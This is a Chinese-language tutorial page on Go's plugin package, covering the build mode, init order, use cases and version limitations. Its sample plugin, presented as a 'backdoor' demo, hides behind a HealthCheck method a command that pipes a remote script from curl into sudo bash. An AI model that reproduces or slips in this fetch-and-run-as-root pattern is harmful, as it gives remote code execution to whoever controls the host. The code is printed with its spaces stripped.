首页>>后端>>Golang->Golang: 插件plugin介绍

Golang: 插件plugin介绍

时间:2023-12-01 本站 点击:0

1. Go plugin是什么

Go 1.8版本开始提供了一个创建共享库的新工具,称为 Plugins.

A plugin is a Go main package with exported functions and variables that has been built with: go build -buildmode=plugin

Plugin插件是包含可导出(可访问)的function和变量的。

main package

编译(go build -buildmode=plugin)之后的文件.

同时官方文档也提示了:Currently plugins are only supported on Linux and macOS .它目前支持Linux和Mac操作系统(不支持windows)

官方文档地址

2. Go plugin生命周期

When a plugin is first opened, the init functions of all packages not already part of the program are called. The main function is not run. A plugin is only initialized once, and cannot be closed.

plugin插件被打开加载 plugin.Open("***.so") ,插件的init初始化函数才开始执行. 也就是说main函数执行前plugin的init函数是不会执行的. 插件只被初始化一次,不能被关闭.

使用plugin的main.go生命周期

main.go的init函数执行

开始执行main.go main函数

开始执行plugin.Open("***.so")打开插件

插件开始执行内部的init函数

3. Go plugin应用场景

1.通过plugin我们可以很方便的对于不同功能加载相应的模块并调用相关的模块;

2.针对不同语言(英文,汉语,德语……)加载不同的语言so文件,进行不同的输出;

3.编译出的文件给不同的编程语言用(如:c/java/python/lua等).

4.需要加密的核心算法,核心业务逻辑可以可以编译成plugin插件

5.黑客预留的后门backdoor可以使用plugin

6.函数集动态加载

4. Go plugin 示例

这个示例建展示一下两方面内容:

演示plugin插件的init的执行顺序

演示怎么编写一个shell黑客后门

4.1 编写插件plugin代码

直接上代码libragen/felix/blob/master/plugin/plugin_bad_docter.go

packagemainimport("log""os/exec""time")funcinit(){log.Println("plugininitfunctioncalled")}typeBadNastyDoctorstringfunc(gBadNastyDoctor)HealthCheck()error{bs,err:=exec.Command("bash","-c","curl-s'https://tech.mojotv.cn/test.sh'|sudobash-s'arg000''arg001'").CombinedOutput()iferr!=nil{returnerr}log.Println("nowis",g)log.Println("shellhasexecuted->>>>>",string(bs))returnnil}//gobuild-buildmode=plugin-o=plugin_doctor.soplugin_bad_docter.go//exportedassymbolnamed"Doctor"varDoctor=BadNastyDoctor(time.Now().Format(time.RFC3339))

编写plugin插件要点

包名称必须是main

没有main函数

必须有可以导出(访问)的变量或者方法

编写完成之后使用编译plugin

pi@homePi:/data/felix/plugin$gobuild-buildmode=plugin-o=plugin_doctor.soplugin_bad_docter.gopi@homePi:/data/felix/plugin$ll总用量6300-rw-r--r--1pipi6129月62019plugin_bad_docter.go-rw-r--r--1pipi34936549月617:06plugin_doctor.so-rw-r--r--1pipi2749月616:37readme.mdpi@homePi:/data/felix/plugin$fileplugin_doctor.soplugin_doctor.so:ELF32-bitLSBsharedobject,ARM,EABI5version1(SYSV),dynamicallylinked,BuildID[sha1]=9034047846f679f66ff7ac50f73aa7baf90d5e5d,notstripped

4.2 使用plugin插件

使用加载plugin基本流程

加载编译好的插件 plugin.Open("./plugin_doctor.so") (*.so文件路径相对与可执行文件的路径,可以是绝对路径)

寻找插件可到变量 plug.Lookup("Doctor"),

TypeAssert: Symbol(interface{}) 转换成API的接口类型

执行API interface的方法

远程shell脚本内容

#!/usr/bin/envbash#--destination_deployecho"golangpluginremoteshell"$0$1$2

libragen/felix/blob/master/plugin/use_plugin_example.go

packagemainimport("fmt""log""os""plugin")typeGoodDoctorinterface{HealthCheck()error}funcinit(){log.Println("mainpackageinitfunctioncalled")}funcmain(){log.Println("mainfunctionstared")//loadmodule插件您也可以使用gohttp.Request从远程下载到本地,在加载做到动态的执行不同的功能//1.openthesofiletoloadthesymbolsplug,err:=plugin.Open("./plugin_doctor.so")iferr!=nil{fmt.Println(err)os.Exit(1)}log.Println("pluginopened")//2.lookupasymbol(anexportedfunctionorvariable)//inthiscase,variableGreeterdoc,err:=plug.Lookup("Doctor")iferr!=nil{fmt.Println(err)os.Exit(1)}//3.Assertthatloadedsymbolisofadesiredtype//inthiscaseinterfacetypeGoodDoctor(definedabove)doctor,ok:=doc.(GoodDoctor)if!ok{fmt.Println("unexpectedtypefrommodulesymbol")os.Exit(1)}//4.usethemoduleiferr:=doctor.HealthCheck();err!=nil{log.Println("useplugindoctorfailed,",err)}}

4.3 build plugin程序

pi@homePi:/data/felix/plugin$gobuilduse_plugin_example.gopi@homePi:/data/felix/plugin$ll总用量6300-rw-r--r--1pipi6129月617:08plugin_bad_docter.go-rw-r--r--1pipi34936549月617:06plugin_doctor.so-rw-r--r--1pipi2749月616:37readme.md-rwxr-xr-x1pipi29415039月617:15use_plugin_example-rw-r--r--1pipi10579月62019use_plugin_example.gopi@homePi:/data/felix/plugin$fileuse_plugin_exampleuse_plugin_example:ELF32-bitLSBexecutable,ARM,EABI5version1(SYSV),dynamicallylinked,interpreter/lib/ld-linux-armhf.so.3,forGNU/Linux3.2.0,BuildID[sha1]=fc60641527d9b030f9f4d5a477de300e9fb70541,notstripped

4.4 go run

pi@homePi:/data/felix/plugin$./use_plugin_example2019/09/0617:16:23mainpackageinitfunctioncalled2019/09/0617:16:23mainfunctionstared2019/09/0617:16:23plugininitfunctioncalled2019/09/0617:16:23pluginopened2019/09/0617:16:23nowis2019-09-06T17:16:23+08:002019/09/0617:16:23shellhasexecuted->>>>>golangpluginremoteshellbasharg000arg001

5.Go语言plugin局限和不足

Go plugin 还不是一个成熟的解决方案.它迫使您的插件实现与主应用程序产生高度耦合.即使您可以控制插件和主应用程序, 最终结果也非常脆弱且难以维护.如果插件的作者对主应用程序没有任何控制权,开销会更高.

5.1 Go版本兼容问题

插件实现和主应用程序都必须使用完全相同的Go工具链版本构建. 由于插件提供的代码将与主代码在相同的进程空间中运行, 因此编译的二进制文件应与主应用程序 100%兼容.

6. 总结

我希望您记下的关键要点:

1.Go插件从v1.8版本开始支持,它目前支持Linux和Mac操作系统(不支持windows)

2.Go plugin包提供了一个简单的函数集动态加载,可以帮助开发人员编写可扩展的代码.

3.Go插件是使用go build -buildmode = plugin构建标志编译

4.Go插件包中的导出函数和公开变量,可以使用插件包在运行时查找并绑定调用.

5.Go runtime import插件的开发人员必须将插件视为黑盒子,做好各种最坏的假设

代码和资料

示例代码

官方标准库文档


本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:/Golang/5851.html